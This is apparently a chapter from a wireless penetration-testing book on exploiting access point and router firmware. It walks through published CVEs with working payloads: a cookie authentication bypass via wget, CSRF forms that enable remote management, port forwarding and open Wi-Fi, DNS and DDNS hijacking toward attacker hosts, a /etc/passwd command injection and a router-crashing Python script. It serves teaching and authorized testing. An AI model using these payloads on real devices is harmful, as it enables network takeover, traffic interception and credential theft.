After our wireless scanning phase is complete, we will have a prioritized list of potential targets that are in scope for our penetration test. This list should be ordered by their relevance to the organization, ease of exploitation, or devices or clients that may contain critical information, such as those accessed by administrators. You can think of the access points as being similar in nature to servers in a DMZ, the primary difference being that these critical servers are typically behind a firewall and other layered defenses, whereas the access points, or "tiny servers with routing capabilities", can be directly accessed by users usually without the benefit of traditional security mechanisms to protect them. Wireless access points can more or less be seen as a potential backdoor to enterprise networks. Like other devices that contain embedded systems, like printers, they are commonly overlooked by administrators and security professionals. Wireless network devices, specifically access points, have been the target of hackers and regularly have vulnerabilities that are publicly disclosed. Once a vulnerability is publicized, it is common to see exploits released into the wild that can be used during your pentest. Compared to other devices on the network like workstations and servers, the patching cycle for network devices is typically sporadic, if it happens at all, widening your window for the successful exploitation of these devices. If wireless at a residence is in scope, there is a very high likelihood that the device's firmware has not been upgraded since it was deployed and default security settings, like administrative credentials, have not been changed. More often than not, an exploitable vulnerability will be discovered in the device firmware but will be left unpatched due to the administrator's reluctance to disrupt the communication provided by the AP, or lack of knowledge of how to patch these devices. By taking advantage of these vulnerabilities in a wireless device, an attacker can gain access to the device, can attack the clients that use the device for access, and can often use these devices as a pivot point to get further into the network.
In this chapter, we will cover the following topics:
- Attacking the firmware
- Attacking the services
- Checks on misconfiguration
Firmware is software stored as a read-only memory (ROM) on a device used to enable the hardware and provide the device functionality. Firmware isn't just limited to computer systems and network devices, but can be found in nearly every embedded device including washing machines, cameras, refrigerators, ADSL modems, and even TV remote controls. At the time of manufacturing, the software is written into the memory and functions like an operating system on more complex systems like laptops. All the functions performed by the device will be programmed into the firmware. Unlike operating system patches, firmware updates are released less frequently and are monolithic, replacing the entire software stack at once. Since most firmware updates are installed manually and do not have an auto-update function, it can sometimes be problematic or cumbersome to keep embedded systems current. To apply firmware updates, we need to remove the old firmware and replace with the new one. This process, known as flashing, may fail and has the potential to render the device unusable. Certain precautions need to be taken to update the firmware successfully, and is another reason why administrators and users are sometimes reluctant to attempt to upgrade these systems. In this section, the primary focus will be firmware in wireless routers and access points.
Firmware shipping with access points commonly has vulnerabilities that are discovered over a period of time. The only way to patch these vulnerabilities is to update the firmware on the device. Firmware updates are sometimes overlooked even in enterprise wireless networks. During a pentest, there is a high likelihood of discovering an access point with outdated firmware. As mentioned, these access points act like tiny servers on the network and it is common to see many services running on them including HTTP, Telnet, SSH, SNMP, and UPnP. If you couple these common services with outdated firmware, it is possible that an attacker or penetration tester will find that some of these services contain exploitable vulnerabilities. In this section we will discuss different ways to gain access to the device by exploiting various vulnerabilities in wireless devices that are publicly disclosed. Though out this chapter, we will use exploit code taken from www.exploit-db.com, due credits to Mati and his team for maintaining the exploit database.
A web service is very common on access points and allows a user or administrator to configure the device through a web browser. It is typically found enabled by default on almost all consumer access points (routers) and many of those designed for enterprises. To access these web interfaces, every device ships with default user credentials that can be used to log in to the access point for initial configuration. The default credentials for the device are documented in many places including the vendor's site, consolidated lists of default credentials, or sometimes on the backside of the device itself. Once the initial configuration of the device has been performed, best practice is to at least change the password associated with the administrative account and, if possible, the username of the account as well. If left with the default configuration, it is easy for anyone to connect to the management interface and maliciously change any of the device configurations. In most scenarios, connecting to the AP's management interface requires a valid administrative username and password, which then allows the device to be configured. However, during our pentest, we may want to be able to get around this requirement.
It may be possible to gain control of the device by bypassing this authentication requirement using a number of techniques. The simplest way is to try guessing the credentials or mount a dictionary attack to brute force the credentials; both of these should be used against the device only as a last resort. A more sophisticated way is to try different attacks that are common against other web-based applications. Sometimes even something as simple as setting a cookie value to a certain value can grant you admin access on the device. In this section, we will discuss various ways to bypass authentication.
The following are documented examples of authentication bypass vulnerabilities found in various devices that are published as CVEs (short for Common Vulnerabilities and Exposures). These examples document some of the techniques that have been used to bypass the requirement of knowing the administrative username and password to access the management interfaces on these devices. Though these specific devices may not appear in your penetration test, similar techniques may prove successful on other wireless devices. You can always search any public vulnerability database to find CVEs corresponding to the target wireless devices.
Vulnerability in the Nisuta NS-WIR150NE wireless router with firmware v5.07.41, and probably other devices from the vendor with this firmware, allows the remote attacker to bypass authentication and gain access to the remote management web interface by setting the cookie to a specific value. An attacker can gain access to the web management interface without knowing the password. The remote management web interface requires a password to view and change the configuration on the device. After the user is successfully authenticated with the password, the router always sets the same cookie, shown next to maintain the session:
Set-Cookie: admin:language=en; path=/
The preceding cookie will be used for every successful login. Thus, using this cookie value, an attacker can bypass authentication and access the web interface as an administrator without knowing the password. By using this cookie value in an HTTP request, an attacker can download the configuration of the device, which includes sensitive information like the current remote management web interface password along with other confidential information. Once an attacker has gained access to this device, leveraging the information from the configuration file, further attacks can be mounted on the machines connected to this device.
$ wget --header= "Cookie: admin:language=en" http://192.168.0.1/cgibin/DownloadCfg/config.cfg
The preceding command sends a GET request to AP(192.168.0.1) to fetch the file config.cfg. The attacker can download the configuration file of the device without knowing the password by sending the preceding GET request with the cookie value set to admin:language=en. Even though the vulnerability of having the cookie hardcoded is resolved in newer firmware, the Remote Management web interface still works over HTTP, where the login password is passed to the device without any encryption; an attacker sniffing the traffic can view the password as it is sent in plain text, and subsequently use it to gain access to the device. Altogether, this is another common problem with clear text protocols.
Authentication bypass vulnerability in D-Link model routers will allow an unauthenticated user to gain admin access to the device if the user agent string is set to xmlset_roodkcableoj28840ybtide in HTTP headers. This is publicly disclosed and the vendor has confirmed the vulnerability exists in their products and provided updates to the firmware affected. This backdoor allows an attacker to bypass password authentication and access the router's administrative web interface by simply changing the user agent string.
If remote management is enabled on the device, the scenario gets even worse, as it enables the attacker to exploit this vulnerability remotely. A workaround suggested by the vendor is to shut down the remote management interface, which otherwise allows an attacker to exploit not only locally but also from the Internet.
In a very recent disclosure, Juniper announced that their ScreenOS operating system, which also runs their popular SMB wireless router and firewall combination, was maliciously modified and a backdoor had been shipping in releases 6.2 and 6.3. This backdoor allows anyone with knowledge of the embedded username/password combination to access Telnet and SSH services without knowing the legitimate administrative credentials. If the attacker has access to these administrative services on devices, they can modify the configuration or capture traffic as it traverses the firewall. A patch has been issued by the vendor, but this again emphasizes that even devices following best practices could be vulnerable to weaknesses in the shipping firmware or operating systems.
Cross-Site Request Forgery (CSRF) occurs when a malicious website, e-mail, or program causes the victim's web browser to perform an unwanted action on a trusted site on which they are currently authenticated. The impact, however, is usually limited to the capabilities of the vulnerable application exposed due to the attack. CSRF vulnerability can be found commonly on websites developed without security in mind. Commonly, attackers have leveraged CSRF to transfer funds via online banking, or purchase an item without the user's permission, or send a message to others in the user's context. There are endless possibilities; it depends on the context of the target application to determine the risk of CSRF.
Web interfaces in embedded devices can also be subject to CSRF attacks. The result of such an attack on a wireless device could result in unauthorized administrative commands being run through the web interface, including changing the device configuration or adding an administrative user on the device. An attacker can craft a malicious HTTP payload, usually a GET or POST request, and if this payload is executed by the administrator's browser, it will be executed on the target wireless device. It is not necessary for the victim of a CSRF attack to actually click on a link; simply surfing to a web page controlled by an attacker can do the work behind the scenes. There are many ways to deliver the CSRF payload including image tags, iframe, JavaScript, and AJAX.
The prerequisite for a successful CSRF attack is that the user should already be logged in to the target vulnerable application; in our case it is an authenticated session with the AP or wireless router. With all the following attacks, we presume that the user has logged in as the admin and an authenticated browser session is available.
The first stage in exploiting CSRF is to know about the parameters needed to be passed to the vulnerable application. Once the parameters are decided, then the malicious payload can be crafted in the second stage. In the third stage, the actual delivery of the malicious payload to the user takes place; it can be via an e-mail or simple image tags or hidden forms, JavaScript, and so on.
There are many ways to deliver the malicious CSRF payload. We will use image tags as our delivery method in the following examples.
We will walk through CSRF vulnerability in Arris Touchstone TG862G/CT wireless routers and show how to exploit the vulnerability. A remote attacker can perform the following malicious activities via a CSRF attack:
- Enable remote management – By enabling remote management, the attacker gains the ability to control the device from the Internet.
- Change the configuration of the device – The attacker can add a port-mapping rule to access internal machines on the network. Even the password of the wireless network can be changed as per the attacker's wishes.
We will discuss the CSRF payload to use against the vulnerable devices. An attacker can enable remote management on the wireless device by sending the following malicious payload to the user who has already logged in to the device:
<html> <body> <h1>CSRF Payload</h1> <form action="http://10.0.0.1/remote_management.php"; method="POST"> <input type="hidden" name="http_port" value="8080" /> <input type="hidden" name="http" value="enabled" /> <input type="hidden" name="single" value="any" /> <input type="submit" value="Submit request" /> </form> </body> </html>
The preceding payload enables remote management on port 8080. This payload can be delivered to the user in different ways, as previously discussed. The form submits to remote_management.php via a POST request. Successful execution of the payload will enable remote web management on port 8080 on the external interface of the router. Enabling remote web management on the device is like opening the door wide open to the Internet. Anyone with a valid password can connect to the device and configure the device from the Internet. By enabling port forwarding or port mapping, the machines behind the embedded NAT device can be accessed directly. Connections that are originating from the Internet to the internal machines are usually dropped at the firewall, which is in-built in wireless devices. We need to inform the router to forward all the packets that are received on a port to a corresponding internal machine. We can forward different ports to multiple internal machines, thus enabling us to host multiple services. Port forwarding capability is certainly an advantage for an attacker when trying to penetrate the systems behind the firewall. Typically, machines behind the firewall cannot be accessed directly; by using a technique called
Port Mapping, an attacker can access the machines behind the router with ease. The following is the CSRF payload for adding a port-mapping rule to the device:
<html> <body> <h1> Port forwarding rule</h1> <form action="http://10.0.0.1/port_forwarding_add.php"; method="POST"> <input type="hidden" name="common_services" value="other" /> <input type="hidden" name="other_service" value="csrf1" /> <input type="hidden" name="sevice_type" value="1" /> <input type="hidden" name="server_ip_address_1" value="10" /> <input type="hidden" name="server_ip_address_2" value="0" /> <input type="hidden" name="server_ip_address_3" value="0" /> <input type="hidden" name="server_ip_address_4" value="100" /> <input type="hidden" name="start_port" value="3389" /> <input type="hidden" name="end_port" value="3389" /> <input type="submit" value="Submit request" /> </form> Sending CSRF Payload!!! </body>
The preceding payload forwards port 3389, Remote Desktop Protocol, on the external interface on the router to the internal machine with IP 10.0.0.100. The packets that are sent to port 3389 on the public interface of the router will now be redirected to 10.0.0.100. Any services running on the machine can be made available to the Internet. Typically, changing these rules requires admin privileges; if the authenticated session of the victim does not have the privileges to do the task, then the attack may not be successful. To change the wireless password, the attacker can use the following payload:
<html> <body> <h1> Change wireless network to open</h1> <form action="http://10.0.0.1/wireless_network_configuration_edit.php";method="POST"> <input type="hidden" name="restore_factory_settings" value="false" /> <input type="hidden" name="channel_sel" value="Manual" /> <input type="hidden" name="channel_num" value="1" /> <input type="hidden" name="ssid" value="Packt-wireless" /> <input type="hidden" name="wifi_mode" value="7" /> <input type="hidden" name="security" value="none" /> <input type="hidden" name="channel_selection" value="manual" /> <input type="hidden" name="channel" value="1" /> <input type="hidden" name="save_settings" value="Save Settings" /> </form> Sending CSRF Payload!!! </body> </html>
The preceding payload will change the access points SSID to "Packt-wireless" with open authentication and select channel number one for AP operations. An attacker can log in to the router with default credentials with the following payload. It can be truly an advantage to the attacker when there are no authenticated sessions available. With the default credentials, a session can be made on the fly to stage the CSRF attacks discussed in this section. Here, we assume that the victim has not changed the default credentials of the device:
<html> <body> <h1> Login CSRF – Default credentials </h1> <form action="http://10.0.0.1/home_loggedout.php"; method="POST"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="password" value="password" /> <input type="submit" value="Submit request" /> </form> Sending CSRF Payload!!! </body> </html>
The username admin and password as password is used to log in to the device. If successful, the attacker will have an authenticated session with the device.
Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Compal Broadband Networks (CBN) CH6640E and CG6640E Wireless Gateway allow remote attackers to do the following via CSRF:
- Change Dynamic DNS (DDNS) configuration via a request to
basicDDNS.html. From an attacker's perspective, changing the DDNS will enable them to have access to the device even if the IP changes frequently. DDNS is like a double-edged sword that can be used by attackers to maintain access to the compromised routers or by legitimate users to map their domains back to their routers having a dynamic IP address. Next is theGETrequest to change the DDNS configuration on the device:GET http://192.168.0.1/basicDDNS.html?DdnsService=1&DdnsUserName="attackerusername"&DdnsPassword="password"&DdnsHostName="subdomain.attacker.com" HTTP/1.1 - Change the Wi-Fi password via the psKey parameter to
setWirelessSecurity.html. The attacker can set the password toAttacker_passwordby sending the followingGETrequest to the device:GET http://192.168.0.1/setWirelessSecurity.html?Ssid=0&sMode=7&sbMode=1&encAlgm=3&psKey=Attacker_password&rekeyInt=0 HTTP/1.1 - Add a static MAC address via the
MacAddressparameter in anadd_staticaction tosetBasicDHCP1.html:GET http://192.168.0.1/setBasicDHCP1.html?action=add_static&MacAddress=38%3A59%3AF9%3AC3%3AE3%3AEF&LeasedIP=8 HTTP/1.1 - Enable or disable UPnP via the UPnP parameter in an apply action to
setAdvancedOptions.html. UpnP is enabled by the following payload:GET http://192.168.0.1/setAdvancedOptions.html?action=apply&instance=undefined&UPnP=1 HTTP/1.1 - To disable the UPnP service on the device, use the following payload:
GET http://192.168.0.1/setAdvancedOptions.html?action=apply&instance=undefined&UPnP=2 HTTP/1.1
UPnP is commonly enabled by default on wireless devices; the preceding GET request when sent with the UPnP parameter with a value of 1 will enable the service. To disable the service, set the value to 2. Later in this chapter, various vulnerabilities that leverage UPnP are discussed. Enabling UPnP from an attacker's perspective can increase the attack surface of the device, opening it up further to additional potential attacks.
Vulnerabilities have been discovered and publicly reported for TP-Link devices for quite some time. In this section, we will discuss CSRF vulnerability in TP-Link WR1043N router, which is susceptible to CSRF attacks, allowing the attacker to forge HTML forms and execute actions on behalf of a legitimate user. When a user visits a website controlled or compromised by an attacker, the payload triggers. The attacker can change the DNS of the router to an attacker-controlled IP address. Once the DNS is changed successfully, it can be used for mounting various other Man-in-the-Middle attacks, which we will discuss in later chapters. The following is the malicious payload to change the DNS of the device without the user noticing it:
<img src="http://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=166.62.5.1&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6">
When the client browser renders the preceding image tag, it automatically sends the GET request to the router with the preceding parameters set by the attacker. In the preceding payload, the DHCP parameters are changed to a range between 192.168.1.100 – 199, and the DNS server address is changed to the attacker-controlled DNS IP address 166.62.5.1. The secondary DNS server IP address is set to 8.8.8.8, which is a public DNS server provided by Google.
This makes sure that even in the event of failure of the attacker-controlled DNS server, the user does not experience any issues with Internet connectivity. This is a well-known technique used by cyber criminals. This exploit works if the user has an active session and is logged in to the router at the time of attack.
Arbitrary code execution is possible by leveraging a software bug that allows an attacker to execute arbitrary code. This is normally achieved by exploiting a stack or buffer overflow vulnerability in a software. These vulnerabilities allow the execution of shell code, which is usually a machine code, delivered along with the exploit to perform malicious activity. Shell codes are written in machine code, are small in size, and perform a specific set of tasks. They are designed to elevate the access of an attacker or further the goals of a penetration test by exploiting the target system. There are readily available shell codes to perform various tasks at http://shell-storm.org/shellcode/.
Unrestricted file upload vulnerability in Huawei Honor Cube Wireless Router WS860s before V100R001C02B222 allows remote attackers to execute arbitrary code by uploading a file with an executable extension. The attacker can successfully upload a file of their choosing and execute this file via the web interface. A file can be specifically crafted to run on this device that changes the configuration, adds additional administrative accounts, or disables other security mechanisms. This vulnerability is confirmed by Huawei and a fix has been released on the vendor's site.
Command injection is an attack in which the goal is the execution of arbitrary commands on the host operating system via a vulnerable application. It is typically achieved by leveraging CGI scripts that takes input from the user and performs some action on the device. Command injection is accomplished by submitting specially crafted requests to CGI programs that directly pass the parameters to the underlying system without validation. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application.
Exploiting command injection vulnerability is generally easier than an arbitrary code execution. An attacker can execute arbitrary commands with the privilege of the vulnerable application, in most cases the web service running on the wireless device. It is common that the web service has privileges sufficient to change the configuration of the target device. In the following section, we will discuss some examples of this vulnerability.
Remote command injection vulnerability in cgi-data/FastJSData.cgi in OmniPCX Office allows remote attackers to execute arbitrary commands and "obtain OXO resources" via shell metacharacters in the id2 parameter. The id2 parameter is not properly validated when passed to the shell, which leads to injecting an arbitrary command. By adding commands to the variable id2, an attacker can execute the command with the privilege of the CGI script. The following is the simple exploit code where the attacker gets the output of the password file from the device:
http://[server]/cgi-data/FastJSData.cgi?id1=packt&id2=91|cat%20/etc/passwd
cat /etc/passwd is the command injected through the id2 variable. The GET request is not properly validated by FastJSData.cgi, thus the CGI program ends up displaying the output of the command injected by the attacker. The preceding code will output /etc/passwd file to the attacker that contains password hashes of all the users on the device. An offline dictionary attack can be performed against the collected '/etc/passwd' file with the help of tools like John The Ripper.
Denial of Service attacks will be covered in more detail later in the book as we examine specific attacks you can do on the wireless network. However, the device itself can also be the target of these types of attacks. Vulnerabilities can exist in many of the services available on the AP or router that, if exploited, can lead to the device being unavailable and unable to service clients. Although DoS attacks are not typically in scope, nor helpful, when conducting penetration tests, it is important that you are aware that these conditions could be exploited on vulnerable hosts resulting in a network that you manage being unavailable.
Denial of Service vulnerability in the SBG6580 device from Motorola allows an attacker to reboot the device by just sending a POST request with invalid fields. The exploit code as given next can be used to leverage this vulnerability. The following Python code crafts a bad POST request which contains invalid parameters and sends it to the login CGI program on the device. If the firmware on the device is vulnerable to this attack, the device will reboot when the request with invalid parameters is received. If the device is not vulnerable, the attacker receives an error response from the device:
import sys
import socket
import urllib
import urllib2
url = 'http://192.168.0.1/goform/login'
values = {'fuzz_parameter' : 'fuzz_data'}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
try:
response = urllib2.urlopen(req)
except socket. Timeout:
print 'Attack Successful'
else:
print 'Device seems to be not vulnerable'The preceding is a simple Python program that crafts a POST request with the parameter name fuzz_parameter with the value fuzz_data and sends it to the login CGI program on the device. The response is verified to determine whether the attack is successful or not. If the device is vulnerable, it will try to restart itself or else an error message will be sent back as a response.
Denial of Service (DoS) vulnerability in vulnerable Aruba APs allows an attacker to shut down the access point or repeatedly reboot the device, leading to a denial of service condition. A malicious crafted 802.11 association frame can cause the AP to shut down, causing temporary DOS condition; the risk is even higher if the crafted malicious packet is sent continuously. The AP recovers automatically by restarting itself. This vulnerability affects all Aruba APs running affected ArubaOS versions 3.3.1.x, 3.3.2.x, RN 3.1.x, 3.4.x, 3.3.2.x-FIPS.
An attacker can inject a malformed association request frame, causing an AP to crash. This leads to a service outage for all clients connected to that AP. The AP recovers automatically by restarting. An attacker can, however, cause prolonged DoS by flooding the WLAN with malicious association request frames, irrespective of whether the WLAN is encrypted or not, as the association management frames are exchanged even before connecting to the network. There are no publicly available exploits for this vulnerability, and it is fixed in later versions of ArubaOS.
Information disclosure enables an attacker to gain valuable information about the target. The information gathered can be used to craft further attacks or leverage this information to attack other systems. Sensitive information can be revealed to an attacker if plain text protocols like HTTP are used for management of the device. It is recommended to use HTTPS wherever possible over HTTP. The error messages that are not properly sanitized can leak sensitive information specific to the target, which can be useful to an attacker. In some cases, using a simple SNMP public string can reveal sensitive information like passwords, or information about the available wireless networks configured on the device. Here, we will examine some publicly available information disclosure attacks on wireless devices.
A troubleshooting and diagnostics page for a ClearPass component in Aruba was inadvertently left enabled in the production version of the code. This could allow an unauthenticated user to retrieve information such as version number and module configuration.
Another vulnerability in the same product allows an unauthenticated user to determine the presence or absence of a particular file on the system. This allows the attacker to profile the system, which helps in further stages of the attack.
In this recent example of an information disclosure vulnerability discovered on a wireless router, the Pirelli ADSL2/2+ wireless router allowed unauthenticated queries via the HTTP service to any of the management pages it hosted, even from its public (Internet-facing) interface. Simply executing a curl command to the IP address and grepping the source for information revealed sensitive information including the WPA keys and WSC Device PIN.